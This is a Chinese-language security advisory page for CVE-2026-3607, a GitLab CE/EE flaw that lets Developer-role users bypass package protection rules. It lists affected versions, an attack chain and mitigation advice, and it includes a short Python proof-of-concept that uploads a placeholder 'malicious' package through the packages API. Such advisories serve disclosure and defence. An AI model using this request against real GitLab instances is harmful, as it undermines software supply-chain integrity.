CVE-2026-3607 CVSS 4.3 中危

CVE-2026-3607 GitLab包保护规则绕过漏洞

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3607

漏洞类型

权限绕过

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

GitLab CE/EE

漏洞概述

GitLab CE/EE在特定版本中存在访问控制不当漏洞。由于系统未能正确校验用户权限，拥有开发者角色的经过身份验证的用户可以绕过包保护规则，上传未经授权的软件包。该漏洞影响多个版本分支，攻击者无需高权限即可利用此问题，可能对软件供应链的完整性造成潜在风险。

技术细节

该漏洞源于GitLab CE/EE在处理软件包上传请求时的访问控制逻辑缺陷。在受影响的版本中，系统未能严格验证具有Developer角色的用户是否具备上传受保护软件包的权限。通常，包保护规则用于限制特定用户向公共注册表发布包，但攻击者可以通过构造恶意请求绕过这一检查。具体而言，当开发者用户尝试上传一个本应被规则拦截的包时，由于权限校验代码存在疏漏，系统错误地允许了该操作。这导致低权限用户可以破坏软件包的完整性，将不符合规范的代码或依赖项注入到项目中。

攻击链分析

STEP 1

1. 获取权限

攻击者注册并获取GitLab实例中某个项目的Developer角色账户。

STEP 2

2. 分析保护规则

攻击者确认目标项目配置了包保护规则，通常情况下Developer不应能上传包。

STEP 3

3. 发送恶意请求

攻击者利用漏洞，发送上传软件包的API请求，由于访问控制缺失，请求被接受。

STEP 4

4. 完成攻击

未经授权的软件包被成功上传，包保护规则被绕过，可能影响项目依赖完整性。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: GitLab Package Protection Rules Bypass (CVE-2026-3607)
# Description: PoC for bypassing package protection rules as a Developer user.

TARGET_URL = "https://gitlab.example.com/api/v4/projects/<PROJECT_ID>/packages/generic/<PACKAGE_NAME>/<VERSION>/<FILE_NAME>"
PRIVATE_TOKEN = "<YOUR_DEVELOPER_TOKEN>"  # Developer role token

headers = {
    "PRIVATE-TOKEN": PRIVATE_TOKEN,
    "Content-Type": "application/octet-stream"
}

# Data representing the package file
payload = b"Malicious package content"

try:
    response = requests.put(TARGET_URL, headers=headers, data=payload)
    
    if response.status_code == 201:
        print("[+] Success! Package protection rules bypassed.")
    else:
        print(f"[-] Failed. Status Code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"Error: {e}")

影响范围

GitLab CE/EE 18.3 至 18.9.7

GitLab CE/EE 18.10 至 18.10.6

GitLab CE/EE 18.11 至 18.11.3

防御指南

临时缓解措施

建议立即升级至官方发布的修复版本。如果无法立即升级，应严格限制开发者角色的权限，或暂时禁用受影响的包发布功能，直到补丁应用完毕。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表